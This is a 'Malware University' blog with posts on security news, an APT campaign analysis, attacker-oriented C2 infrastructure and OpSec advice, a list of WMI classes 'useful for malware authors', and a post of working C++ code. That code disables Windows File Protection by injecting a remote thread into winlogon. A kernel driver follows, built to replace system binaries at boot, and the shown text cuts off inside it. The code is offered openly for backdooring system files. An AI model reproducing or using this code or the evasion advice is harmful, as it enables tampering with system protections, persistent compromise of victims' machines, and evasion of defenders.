Skip to content

Malware University

Class is in Session

  • About
    • Privacy Policy
  • Contact
  • Resources

Author: admin

Dump SHA1

Posted on January 9, 2020 - January 9, 2020 by admin

Some French and Singaporean researchers recently demonstrated a practical attack against SHA-1 hashing by performing a PGP/GnuPG impersonation attack. The team used an Nvidia GTX 970 at an estimated rental cost of $11,000 USD for a collision and $45,00 USD for a chosen-prefix collision. In total the attack took about two months to complete.

Such news is similar to the practical attacks shown in 2009 against MD5. Signature schemes and handshake security in “secure” protocols such as TLS and SSH are now known vulnerable.

It is recommended to remove SHA-1 from your selected hash choice from any tool or protocol you are using. Legacy GnuPG still uses SHA-1 by default for identity certifications.

CVE-2019-14855 was assigned to this demonstration.

Posted in Current EventsTagged cracking, cve-2019-14855, GnuPG, hash, sha1

FBI Asks Apple To Help It Unlock IPhones Of Naval Base Shooter

Posted on January 9, 2020 - January 9, 2020 by admin

The FBI has asked Apple to help it unlock two iPhones that belonged to the murderer Mohammed Saeed Alshamrani, who shot and killed three young US Navy students in a shooting spree at a Florida naval base last month.

Late on Monday, FBI General Counsel Dana Boente sent the letter to Apple’s general counsel.

The FBI argued the same case after the San Bernardino shooting.

Namely, the bureau says that it’s asked for help from other federal agencies – it sent the iPhones to the FBI’s crime lab in Quantico, Virginia – and from experts in other countries, as well as “Familiar contacts in the third-party vendor community.”

The dog and pony show continues for the FBI, whom always pretends it does not have access to 0day or publicly updated jailbreaking methods such as checkm8 or Checkra1n.

Posted in Current EventsTagged apple, FBI, iphone, jailbreak

Microsoft Claims Russia/Iran/North Korea Most Aggressive

Posted on July 18, 2019 - July 18, 2019 by admin

“About 84% of these attacks targeted our enterprise customers, and about 16% targeted consumer personal email accounts,” says Microsoft Corporate Vice President for Customer Security & Trust, Tom Burt. Hacking groups from Iran, North Korea, and Russia were behind the vast majority of nation-state attacks against Microsoft customers over the past year, with the most notable activity coming from threat actors such as “Holmium” and “Mercury” operating from Iran, “Thallium” operating from North Korea, and two actors operating from Russia called “Yttrium” and “Strontium.”

The data collected by the Microsoft Threat Intelligence Center while analyzing these attacks has been added by Redmond within its own security products which help the company protect its customers from future advanced persistent threat (APT) group operations targeting its user base. Microsoft also issued 781 notifications to organizations part of its free AccountGuard service after unearthing a number of attacks coordinated by APT groups and targeting democracy fundamental entities such political parties and campaigns, as well as democracy-focused think tanks and nongovernmental organizations (NGOs) from 26 countries across four continents.

While monitoring nation-state backed cyber-espionage campaigns, Microsoft detected attacks targeting the 2016 U.S. presidential election and the last French presidential election, with U.S. senatorial candidates also being under siege in 2018 after being attacked by the Russian-backed Strontium hacking (aka Fancy Bear or APT28 ). A number of other cyber-espionage campaigns targeting European democratic institutions were also detected by Redmond’s Threat Intelligence Center (MSTIC) and Digital Crimes Unit (DCU) between September and December 2018, with employees of the German Council on Foreign Relations, the Aspen Institutes in Europe and the German Marshall Fund being among some of the targeted individuals in these attacks.

“As we head into the 2020 elections, given both the broad reliance on cyberattacks by nation-states and the use of cyberattacks to specifically target democratic processes, we anticipate that we will see attacks targeting U.S. election systems, political campaigns or NGOs that work closely with campaigns,” added Burt.

Posted in Current EventsTagged APT28, hacking, Holmium, Iran, Mercury, Microsoft, North Korea, Russia, Strontium, Thallium, Yttrium

NewsBeef APT Updates Their Campaign

Posted on July 18, 2019 - July 18, 2019 by admin

USCYBERCOM’s VirusTotal executable object uploads appeared in our January 2017 private report “NewsBeef Delivers Christmas Presence”, an examination of a change in the tactics used in spear-phishing and watering hole attacks against Saudi Arabian targets. Previous analysis of the NewsBeef APT indicates that the group focuses on Saudi Arabian (SA) and Western targets, and lacks advanced offensive technology development capabilities.

The most recent NewsBeef campaign uses this toolset in conjunction with spearphishing emails, links sent over social media/standalone private messaging applications, and watering hole attacks that leverage compromised high-profile websites (some belonging to the SA government).
The group changed multiple characteristics year over year – tactics, the malicious JavaScript injection strategically placed on compromised websites, and command and control C2 infrastructure.
The NewsBeef actor deployed a new toolset in a campaign that focused primarily on Saudi Arabian targets; BeEF does not appear to be deployed as a part of the current campaign; Compromised government and infrastructure-related websites are injected with JavaScript that geolocates and redirects visitors to spoofed, attacker-controlled web-servers; Improvements in JavaScript injection and obfuscation may extend server persistence; NewsBeef continues to deploy malicious macro-enabled Office documents, poisoned legitimate Flash and Chrome installers, PowerSploit, and Pupy tools.

The NewsBeef campaign is divided into two main attack vectors, spearphishing and strategic web compromise (watering hole) attacks.
On December 25, 2016, the NewsBeef APT stood up a server to host a new set of Microsoft Office documents (maintaining malicious macros and PowerShell scripts) to support its spear-phishing operations. To compromise websites and servers, the group identified vulnerable sites and injected obfuscated JavaScript that redirected visitors to NewsBeef-controlled hosts (which tracked victims and served malicious content).

These compromised servers include Saudi Arabian government servers and other high-value organizational identities relevant to their targets.
Their injection and obfuscation techniques enable the actor to serve the same JavaScript with every page visit to the “watering hole” site as well as increase the difficulty of identifying the malicious JavaScript source on compromised sites.

These recent attacks against legitimate servers (when compared to previous NewsBeef activity) indicate that NewsBeef operators have improved their technical skills, specifically their ability to covertly inject JavaScript code into served web pages. For example, on a Saudi government website, the NewsBeef APT delivered packed JavaScript into the bottom of a referenced script that is included in every page served from the site. The JavaScript resource changes on every compromised website among many other referenced JavaScript sources, making it difficult to track down the source of the malicious script per site.


The filenames of the malicious Office documents (hosted at the spoofed NTG site) are relevant to typical IT and contracting resources and indicate that this scheme relies on effective social engineering tactics related to human resources and IT activities.


The malicious DLL deployed by NewsBeef contains Python code, a Python interpreter, and the MSVC runtime library as well as code that loads the Python interpreter, runs Python code and exports some functions for Python. The main functionality of the backdoor is implemented in packages (Python code, compiled Python C extensions, compiled executable files) and modules (Python code).

As this recent campaign indicates, the NewsBeef APT appears to have shifted its intrusion toolset away from BeEF and towards macro-enabled malicious Office documents, PowerSploit, and Pupy.

Posted in Campaign Analysis, Current EventsTagged beef, CYBERCOM, malicious macros, NewsBeef, Powershell, powersploit, pupy, Python, Saudi Arabia, spearphishing, watering holes

C2 Management Overview

Posted on July 16, 2019 - July 16, 2019 by admin

With the proliferation of connection firewalling techniques (hard/soft), data filtering, and government mandates, management of compromised devices forced campaign tactics to shift towards an indirect method of communications with their code. Operating system vendors getting their products owned with remotely-exploitable code listening on all devices by default, leading way to massive worms which lead to wide internet outages and even outright network destruction in the worst cases forced them to take serious looks at security. “Bindshell” is an archaic relic of times past.

Malware authors would frequently demonstrate, or use, “bindshell” payloads to offer operational functionality post-exploitation. It was the guarantee of an exploit’s success and appeared as a finish line concluding a successful exploitation exercise. Several critical vulnerabilities and their resulting automated exploitation via worms and aggressive scanners would conclude this technique in the chapters of hacker history.

The MS Blaster (DCOM) vulnerability found and demonstrated publicly by the LSD group out of Poland lead to, perhaps, the most lucrative environment the world has ever publicly seen (and may see ever) in the entirety of the internet’s existence (counting per capita connected machines during the time period).

Practically every NT-based operating system connected to a network was exploitable up to the latest Windows XP (SP1) version at that time.


Many ISPs and institutions around the world had open network policy. The landscape was littered with NetBIOS-accessible machines in the hundreds of millions across the Internet. It was a slaughterhouse as even power plants (East Coast USA) were probably affected by these attacks.

The panacea was the abrupt closure of ALL ports for client’s public and private IP addresses in many ISP gardens. Organizations were rapidly pushing restrictive firewall policy for internal and external network segments. Many had to learn the lesson the hard way.

It was both a joyous time for hackers and a solemn moment as everyone realized things would never be the same after this.

Microsoft policy, always placing security an afterthought of the software creation process, changed overnight, acknowledging the company’s role in proactively debugging their code to prevent worldwide device compromise.

No longer would your SubSeven or BO backdoor work. The game was raised. Malware authors had to change their tactics at a basic design level. Calling into a target’s network was no longer an option for most operations.

As with most other applications, they begun to rely on polling to keep updates and issue commands.

C2 management is often powered by a traditional web stack:

- HTTP Server
- (Optional) Load Balancer(s)
    (Optional) Content Delivery Network(s)
- (Optional) Redirector(s)
- DB Mechanism
    Does not always have to be a server, although it probably should

How these are designed, configured, deployed, and protected are up to the operation’s infrastructure leader(s), ideally with input from those with a significant background in systems administration and networking.

For a sophisticated group with plans of multiple extended campaigns during their existence it’s better to have significant resources spent on building out and maintaining this infrastructure.

There are cases in which an attacker may use a barebones infrastructure. Standalone or all-in-one C2 packages are rarely seen in the wild.

In cases of a solo adventure, it is still best to separate your infrastructure as much as possible. CI/CD methodology has come a long way since the early 2000s and continues to improve. With proper scripting experience a single programmer can manage quite an infrastructure. Maintaining relationships with the proper “bullethost” providers becomes the harder problem to solve.

One must take into account the OpSec needed for any operations carried out via this infrastructure. Proper documentation and monitoring of this infrastructure is needed if one is forgetful. In the case of teams, it is imperative to have this information ready for anyone who needs to know.

One must also take into account threat information shared among the defensive community. Threat Intelligence feeds often provide information about various campaigns that researchers and vendors have come across in an efforts to increase their reputation along with interest in the products. By limiting your campaign activities to the fewest targets possible you can minimize your exposure to such organizations. Despite the utmost care,
your activities always have a possibility of exposure. Thus, if possible, always routinely search for certain targets showing up in public news or search engine sources.

The more advanced organizations may have access to defensive teams subscribed to commercial, public, or private threat sharing information sources. These can prove invaluable for protecting the unit as a whole.

Log management, as with any well-monitored service, is a key responsibility. This is the more important task if you do not have the resources to monitor both Threat Intelligence feeds and logs of your servers. A paranoid malware author will have mechanisms in place to detect odd traffic patterns in C2 logs:

Headers not normally seen
HTTP verbs that are not used (not counting GET)
HTTP variables that are not used (any verbs which accept arbitrary input)
Non-HTTP compliant traffic to HTTP services

Repeat the logic as necessary for whichever protocol you use for C2 communications. Due to current firewall policies across nations and organizations, HTTP(S) is used for most communication in some form. As the internet changes the underlying principles will not change.

Posted in Campaign ManagementTagged c2, campaigns, continuous development, continuous integration, firewalls, log management, malware, system administrationLeave a comment

Windows Management Instrumentation (WMI) Research

Posted on June 28, 2019 by admin

Below is a list of interesting classes useful for malware authors. Please add comments if you believe any classes are missing, as this is not an exhaustive list.

root/CIMv2
	Win32_NetworkAdapterConfiguration
	Win32_LogicalFileSecuritySetting
	Win32_LocalTime
	Win32_LaunchCondition
	Win32_Fan
	Win32_DuplicateFileAction
	Win32_DMAChannel
	Win32_DisplayConfiguration
		Can detect VirtualBox Graphics Adapter
	Win32_DiskPartition
	Win32_DiskDriveToDiskPartition
	Win32_DiskDrive
		Probably more concise than the others
	Win32_Directory
		Maybe the most important
	Win32_DFSNode
		Sets up a Distributed File System
	Win32_DeviceChangeEvent
		Detects when flash drives are inserted or removed
	Win32_DCOMApplication
	Win32_CurrentTime
	Win32_CreateFolderAction
		Caution, this freezes.
	Win32_ComputerSystemProduct
		Good for detecting VirtualBox
	Win32_COMSetting
		Displays all CLSID info
		Very slow!!!
	Win32_ComputerSystem
	Win32_ComputerShutdownEvent
	Win32_COMClass
		Displays all COM classes available
		Very slow!!!
	Win32_ClientApplicationSetting
		Correlates COM classes with executable files
	Win32_CIMLogicalDeviceCIMDataFile
		Associates logical devices and data files with the drivers being used by those devices
	Win32_BIOS
	Win32_BootConfiguration
	Win32_BaseService
		Enumerates all services and the drivers/code used by devices
	Win32_AllocatedResource
		deprecated for Win32_PNPAllocatedResource
		Shows which resources (IRQs or DMA channels) used by specific device
	Win32_AccountSID
		Lists all accounts and their respective SIDs
	Win32_Account
		Like *AccountSID, but with more information
		
	MSFT_WmiFilterEvent
		
	CIM_DataFile
	CIM_DeviceFile
	CIM_Directory
	CIM_VideoController
		Good VirtualBox detection
	CIM_UserDevice
		List of currently installed user devices
	CIM_Thread
		Abstract class
		See:  Win32_Thread
	CIM_Processor
		Details processor
	CIM_ProcessExecutable
		Shows all "data files" (DLL) are active within processes
	CIM_Process
		Detailed list of processes
	CIM_Printer
		Detailed list of printers
	CIM_PhysicalMedia
		List of drives (CDROM and disk)
	CIM_PCVideoController
		Detailed list of graphics cards
	CIM_OperatingSystem
		Detailed list of OS
	CIM_MediaPresent
		"Active" drives?
	CIM_LogicalFile
		Abstract class
		See:  CIM_DataFile, CIM_DeviceFile, CIM_Directory
	CIM_Job
		Abstract class
		See:  Win32_PrintJob, Win32_ScheduledJob
	CIM_ExecuteProgram
		Abstract class
		No found implementations, definitely take a look
	CIM_DMA
		Abstract class
		See:  Win32_DMAChannel
		
root/nap
	Network Access Protection
root/WMI
	Windows Event Tracing classes
		VERY USEFUL
		Must enable system tracing
		See MSNT_SystemTrace class
		http://msdn.microsoft.com/en-us/library/windows/desktop/aa364158(v=vs.85).aspx
		
Posted in Malware DevelopmentTagged Research, WMILeave a comment

Disabling Windows File Protection

Posted on June 27, 2019 - June 27, 2019 by admin

This is an example of working code that was used to disable the Windows File Protection feature in the NT subsystem for OSes Windows 2000 through XP/2003. It is one of multiple ways to disable SFC from triggering on a protected file from modification.

There is a more thorough and complete method which requires adding kernel module code along with modification of the boot list (and location of target payload to overwrite legitimate target) which works for all protected file modifications with 100% success rate. Even kernel (ntoskrnl.exe) modification works with this method. The core snippet of the code is located at the bottom of this article.

Such code was useful for backdooring system utilities in “non-writable” directories (such as C:/WINDOWS/).

Hijack Winlogon Execution

// DisableWFP.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#define THREAD_WAIT 1000


DWORD dwBaseAddress;

BOOL IsWinlogon(DWORD pid)
{
	TCHAR processName[MAX_PATH] = _T("FILLER");

	HANDLE hProcess = OpenProcess(	PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
									FALSE,
									pid);
	if (hProcess)
	{
		HMODULE hModule;
		DWORD sizeModules;

		if (EnumProcessModules(hProcess, &hModule, sizeof(hModule), &sizeModules))
			GetModuleBaseName(hProcess, hModule, processName, sizeof(processName) / sizeof(TCHAR));
	}

	if (!memcmp(processName, _T("winlogon.exe"), _tcslen(_T("winlogon.exe"))))
	{
		// Match found.
		return TRUE; 
	}

	return FALSE;
}

FARPROC GetRelativeEntryAddress(LPTSTR pwszLibrary, char* szEntryFunction)
{
	if (GetFileAttributes(pwszLibrary) == INVALID_FILE_ATTRIBUTES)
		return NULL;

	HINSTANCE hLibrary = LoadLibrary(pwszLibrary);
	if (!hLibrary)
		return NULL;

	FARPROC pFunction = GetProcAddress(hLibrary, szEntryFunction);
	if (!pFunction)
		return NULL;

	return (FARPROC)((DWORD) pFunction - (DWORD) hLibrary);
}

LPVOID GetAbsoluteAddress(DWORD dwBaseAddress, LPVOID pFunction)
{
	return (LPVOID)((DWORD) pFunction + dwBaseAddress);
}

// Load payload into DisableWFP virtual space.
// Use it to get address of exported function "sfc_os_2".
// The difference is found with GetProcAddress().
// http://stackoverflow.com/questions/10057687/calling-function-in-injected-dll
void* GetPayloadExportAddress(LPTSTR lpPath, HMODULE hPayloadBase, LPCSTR lpFunctionName)
{
	HMODULE hLoaded = LoadLibrary(lpPath);
	if (!hLoaded)
	{
		return NULL;
	}

	else
	{
		void* lpFunc = GetProcAddress(hLoaded, lpFunctionName);
		DWORD dwOffset = (char* ) lpFunc - (char* ) hLoaded;
		FreeLibrary(hLoaded);

		return hPayloadBase + dwOffset;
	}

	return NULL;
}

bool CallRemoteFunction(HANDLE hProcess, LPVOID pFunction)
{
	DWORD dwExitCode;
	HANDLE hThread = CreateRemoteThread(hProcess,										NULL,										0,										(LPTHREAD_START_ROUTINE) pFunction,										NULL,										0,
NULL);

	if (!hThread)
		return false;

	if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0)
		return false;

	if (!GetExitCodeThread(hThread, &dwExitCode))
		return false;

	CloseHandle(hThread);
	dwBaseAddress = dwExitCode;

	return dwExitCode != 0;		// Internal DLL function must return 0 for failure on this logic.
}

int _tmain(int argc, _TCHAR* argv[])
{
	DWORD processList[1024], numBytes;
	DWORD winlogonPID;
	int ordinal = 2;

	FARPROC pEntry = GetRelativeEntryAddress(_T("C:\\WINDOWS\\System32\\sfc_os.dll"), (char* ) ordinal);	// int SfcTerminateWatcherThread()
	if (!pEntry)
	{
		MessageBox(0,
				   _T("Unable to disable WFP"),
				   _T("WFP Error"),
				   MB_OK);
		
		return 1;
	}

	LPVOID pFunction = GetAbsoluteAddress(dwBaseAddress, pEntry);
	if (!EnumProcesses(processList, sizeof(processList), &numBytes))
		goto ___WFPMiscErr;

	for (int i = 0; processList[i]; i++)
		if (IsWinlogon(processList[i]))
			winlogonPID = processList[i];
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, winlogonPID);
	if (!hProcess)
		goto ___WFPMiscErr;

	if (!CallRemoteFunction(hProcess, pFunction))
	{
___WFPMiscErr:
		MessageBox(0,
					_T("WFP Random Error"),
					_T("WFP Error"),
					MB_OK);
	
		return 4;
	}

	MessageBox(0,
				_T("WFP successfully disabled"),
				_T("WFP Success"),
				MB_OK);
	CloseHandle(hProcess);

	return 0;
}

Service-based Bypass

// InjectionSvc.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"


DWORD dwBaseAddress;

BOOL IsWinlogon(DWORD pid)
{
	TCHAR processName[MAX_PATH] = _T("FILLER");

	HANDLE hProcess = OpenProcess(	PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
									FALSE,
									pid);
	if (hProcess)
	{
		HMODULE hModule;
		DWORD sizeModules;

		if (EnumProcessModules(hProcess, &hModule, sizeof(hModule), &sizeModules))
			GetModuleBaseName(hProcess, hModule, processName, sizeof(processName) / sizeof(TCHAR));
	}

	if (!memcmp(processName, _T("winlogon.exe"), _tcslen(_T("winlogon.exe"))))
	{
		// Match found.
		return TRUE; 
	}

	return FALSE;
}

FARPROC GetRelativeEntryAddress(LPTSTR pwszLibrary, char* szEntryFunction)
{
	if (GetFileAttributes(pwszLibrary) == INVALID_FILE_ATTRIBUTES)
		return NULL;

	HINSTANCE hLibrary = LoadLibrary(pwszLibrary);
	if (!hLibrary)
		return NULL;
	dwBaseAddress = (DWORD) hLibrary;

	FARPROC pFunction = GetProcAddress(hLibrary, szEntryFunction);
	if (!pFunction)
		return NULL;

	return (FARPROC)((DWORD) pFunction - (DWORD) hLibrary);
}

LPVOID GetAbsoluteAddress(DWORD dwBaseAddress, LPVOID pFunction)
{
	return (LPVOID)((DWORD) pFunction + dwBaseAddress);
}

// Load payload into DisableWFP virtual space.
// Use it to get address of exported function "sfc_os_2".
// The difference is found with GetProcAddress().
// http://stackoverflow.com/questions/10057687/calling-function-in-injected-dll
void* GetPayloadExportAddress(LPTSTR lpPath, HMODULE hPayloadBase, LPCSTR lpFunctionName)
{
	HMODULE hLoaded = LoadLibrary(lpPath);
	if (!hLoaded)
	{
		return NULL;
	}

	else
	{
		void* lpFunc = GetProcAddress(hLoaded, lpFunctionName);
		DWORD dwOffset = (char* ) lpFunc - (char* ) hLoaded;
		FreeLibrary(hLoaded);

		return hPayloadBase + dwOffset;
	}

	return NULL;
}

bool CallRemoteFunction(HANDLE hProcess, LPVOID pFunction)
{
	DWORD dwExitCode;

	HANDLE hThread = CreateRemoteThread(hProcess,										NULL,										0,										(LPTHREAD_START_ROUTINE) pFunction,										NULL,										0,
NULL);
	if (!hThread)
		return false;

	if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0)
		return false;

	if (!GetExitCodeThread(hThread, &dwExitCode))
		return false;

	CloseHandle(hThread);
	dwBaseAddress = dwExitCode;

	// This is for debugging.
	DWORD gle = 0;
	if (!dwExitCode)
		gle = GetLastError();	// Keeps returning 299 (ERROR_PARTIAL_COPY).

	return dwExitCode != 0;		// Internal DLL function must return 0 for failure on this logic.
}

SERVICE_STATUS			g_ServiceStatus = {0};
SERVICE_STATUS_HANDLE	g_StatusHandle = NULL;
HANDLE					g_ServiceStopEvent = INVALID_HANDLE_VALUE;

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
VOID WINAPI ServiceCtrlHandler(DWORD);
DWORD WINAPI ServiceWorkerThread(LPVOID lpParam);

#define SERVICE_NAME _T("Disable WFP For System Utility Modification in Field")

VOID WINAPI ServiceCtrlHandler(DWORD ctrlCode)
{
	switch (ctrlCode)
	{
	case SERVICE_CONTROL_STOP:
		if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
			break;

		// Perform tasks to stop service.
		g_ServiceStatus.dwControlsAccepted = 0;
		g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
		g_ServiceStatus.dwWin32ExitCode = 0;
		g_ServiceStatus.dwCheckPoint = 4;

		if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
			OutputDebugString(_T("Injection Service:  ServiceCtrlHandler:  SetServiceStatus returned error"));

		// Signal worker thread to start shutting down.
		SetEvent(g_ServiceStopEvent);
		break;

	default:
		break;
	}
}

DWORD WINAPI ServiceWorkerThread(LPVOID lpParam)
{
	// Periodically check if service has been requested to stop.
	while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0)
	{
		// Perform main service function below.
		DWORD processList[1024] = {0}; 
		DWORD numBytes = 0;
		DWORD winlogonPID = 0;
		int ordinal = 2;

		FARPROC pEntry = GetRelativeEntryAddress(_T("C:\\WINDOWS\\System32\\sfc_os.dll"), (char* ) ordinal);	// int SfcTerminateWatcherThread()
		if (!pEntry)
		{
			//MessageBox(0,
			//		   _T("Unable to disable WFP"),
			//		   _T("WFP Error"),
			//		   MB_OK);
			OutputDebugString(_T("Unable to disable WFP"));
			
			return 1;
		}

		LPVOID pFunction = GetAbsoluteAddress(dwBaseAddress, pEntry);
		if (!EnumProcesses(processList, sizeof(processList), &numBytes))
			goto ___WFPMiscErr;

		for (int i = 1; processList[i]; i++)
			if (IsWinlogon(processList[i]))
				winlogonPID = processList[i];
		HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, winlogonPID);
		if (!hProcess)
			goto ___WFPMiscErr;

		if (!CallRemoteFunction(hProcess, pFunction))
		{
___WFPMiscErr:
			//MessageBox(0,
			//			_T("WFP Random Error"),
			//			_T("WFP Error"),
			//			MB_OK);
			OutputDebugString(_T("WFP Random Error"));
		
			return 4;
		}

		//MessageBox(0,
		//			_T("WFP successfully disabled"),
		//			_T("WFP Success"),
		//			MB_OK);
		OutputDebugString(_T("WFP successfully disabled"));
		CloseHandle(hProcess);

		return ERROR_SUCCESS;
	}
}

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
{
	DWORD Status = E_FAIL;

	while (!IsDebuggerPresent())
		;

	// Register service control handler with SCM.
	g_StatusHandle = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
	if (!g_StatusHandle)
		goto ___exit;

	// Tell the service controller we are starting.
	ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus));
	g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
	g_ServiceStatus.dwControlsAccepted = 0;
	g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
	g_ServiceStatus.dwWin32ExitCode = 0;
	g_ServiceStatus.dwServiceSpecificExitCode = 0;
	g_ServiceStatus.dwCheckPoint = 0;

	if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
		OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus returned error"));

	// Create a service stop event to wait on.
	g_ServiceStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
	if (!g_ServiceStopEvent)
	{
		// Error creating event.
		// Tell service controller we stopped and exit.
		g_ServiceStatus.dwControlsAccepted = 0;
		g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
		g_ServiceStatus.dwWin32ExitCode = GetLastError();
		g_ServiceStatus.dwCheckPoint = 1;

		if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
			OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus unable to create event"));
		goto ___exit;
	}

	// Tell service controller we are started.
	g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
	g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
	g_ServiceStatus.dwWin32ExitCode = 0;
	g_ServiceStatus.dwCheckPoint = 0;

	if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
		OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus unable to inform service controller of start"));

	// Start thread to perform main task.
	HANDLE hThread = CreateThread(NULL, 0, ServiceWorkerThread, NULL, 0, NULL);
	
	// Wait until our worker thread exits, signaliing that service needs stopping.
	WaitForSingleObject(hThread, INFINITE);

	// Cleanup.
	CloseHandle(g_ServiceStopEvent);

	// Tell service controller we are stopped.
	g_ServiceStatus.dwControlsAccepted = 0;
	g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
	g_ServiceStatus.dwWin32ExitCode = 0;
	g_ServiceStatus.dwCheckPoint = 3;

	if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus))
		OutputDebugString(_T("Injection Service:  ServiceMain:  SetServiceStatus unable to inform service controller of stop"));

___exit:
	return;
}

int _tmain(int argc, _TCHAR* argv[])
{
	SERVICE_TABLE_ENTRY ServiceTable[] = {
											{SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
											{NULL, NULL}
										 };

	if (!StartServiceCtrlDispatcher(ServiceTable))
		return GetLastError();

	return 0;
}

Header file

// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//

#pragma once

#include "targetver.h"

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <Psapi.h>


// TODO: reference additional headers your program requires here
#pragma comment(lib, "psapi.lib")

Kernel-mode Driver to Backdoor All Binaries

// Purpose:
//				Let the agent know we successfully updated.
//				"Touch" the file "patch.scc" with the "next_version" number.
//				Our agent will copy contents of "patch.scc" to "patch.ver" and
//				delete "patch.scc" after.
NTSTATUS UpdateSystemPatchVersion(DWORD next_version)
{
	UNICODE_STRING						patch_version_file_name = { 0 };
	OBJECT_ATTRIBUTES					patch_version_file_attr = { 0 };
	FILE_STANDARD_INFORMATION			patch_version_standard_information = { 0 };
	HANDLE								patch_version_handle = 0;
	LARGE_INTEGER						max_patch_scc_size = { 0 };

#define MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE 10				// Max of (ANSI) 0xFFFFFF patches supported by this driver.

	max_patch_scc_size.QuadPart = MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE;

	RtlInitUnicodeString(&patch_version_file_name, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\patch.scc");
	InitializeObjectAttributes(&patch_version_file_attr,
								&patch_version_file_name,
								OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
								NULL,
								NULL);
	nt_status = ZwCreateFile(&patch_version_handle,
								GENERIC_WRITE,
								&patch_version_file_attr,
								&io_status_block,
								NULL, //&max_patch_scc_size,
								FILE_ATTRIBUTE_NORMAL,
								0,
								FILE_SUPERSEDE,
								FILE_SYNCHRONOUS_IO_NONALERT,
								NULL,
								0);
	// Scumbag nt headers didn't define STATUS_FILE_NOT_AVAILABLE?
#ifndef STATUS_FILE_NOT_AVAILABLE
#define STATUS_FILE_NOT_AVAILABLE 0xC0000467
#endif
	if (!NT_SUCCESS(nt_status))
	{
		// There was a problem opening "patch.scc".
		return STATUS_FILE_NOT_AVAILABLE;
	}

	// Must bitshift to find length of ANSI string representing dword.
	size_t size_of_patch_version_file; 

	CHAR patch_version_file_buffer[MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE + 1] = { 0 };
	const CHAR number_format[] = "%u\r\n";
	//_itoa(next_version, (PCHAR) patch_version_file_buffer, 16);
	nt_status = RtlStringCbPrintfA(patch_version_file_buffer,
									MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE,
									number_format,
									next_version);
	if (!NT_SUCCESS(nt_status))
	{
		ZwClose(patch_version_handle);

		return STATUS_BUFFER_OVERFLOW;		// Not necessarily true, we just need a reason.
	}

	// Get string length.
	nt_status = RtlStringCbLengthA(patch_version_file_buffer,
									MAX_PATCH_VERSION_STRING_LENGTH_INCL_NEWLINE + 1,
									&size_of_patch_version_file);
	if (!NT_SUCCESS(nt_status))
	{
		ZwClose(patch_version_handle);

		return STATUS_INFO_LENGTH_MISMATCH;
	}


	byte_offset.LowPart = byte_offset.HighPart = 0;
	nt_status = ZwWriteFile(patch_version_handle,
							NULL,
							NULL,
							NULL,
							&io_status_block,
							patch_version_file_buffer,
							size_of_patch_version_file,
							&byte_offset,
							NULL);
	if (!NT_SUCCESS(nt_status))
	{
		// We are unable to read the file.
		ZwClose(patch_version_handle);
		
		return nt_status;
	}

	ZwClose(patch_version_handle);

	return STATUS_SUCCESS;
}

// Purpose:
//				Parse the file "C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt" with format:
//					<SOURCE>
//					<TARGET>
//					...
//
//				It will replace <TARGET> with <SOURCE> at boot up if both <TARGET> and <SOURCE> exist.
NTSTATUS ParseInformationFile(DWORD next_version)
{
	// Variables for handling the information file.
	windows_file_t				backdoor_info = { 0 };

	// Variables for handling the TARGET file. (see below)

	// Variables for handling the SOURCE file. (see below)

	//RtlInitUnicodeString(&backdoor_info.path, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt");
	// Initialize strings.
	if (!NT_SUCCESS(RtlUnicodeStringInit(&backdoor_info.path, L"\\??\\C:\\Program Files\\NothingToSeeHereAdmin\\staging\\INFO.txt")))
	{
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] Unable to initialize information string\n");
#endif

		return STATUS_UNEXPECTED_IO_ERROR;
	}

	// Initialize file object attributes for information file (because we always know path).
	InitializeObjectAttributes(&backdoor_info.object_attributes,
		&backdoor_info.path,
		OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
		NULL,
		NULL);

	nt_status = ZwCreateFile(&backdoor_info.handle,
		GENERIC_READ,
		&backdoor_info.object_attributes,
		&io_status_block,
		NULL,
		FILE_ATTRIBUTE_NORMAL,
		0,
		FILE_OPEN,
		FILE_SYNCHRONOUS_IO_NONALERT,
		NULL,
		0);
	if (!NT_SUCCESS(nt_status))
	{
		// Could not open information file for reading.
		// We need a way to log the error and possibly handle it in the future.
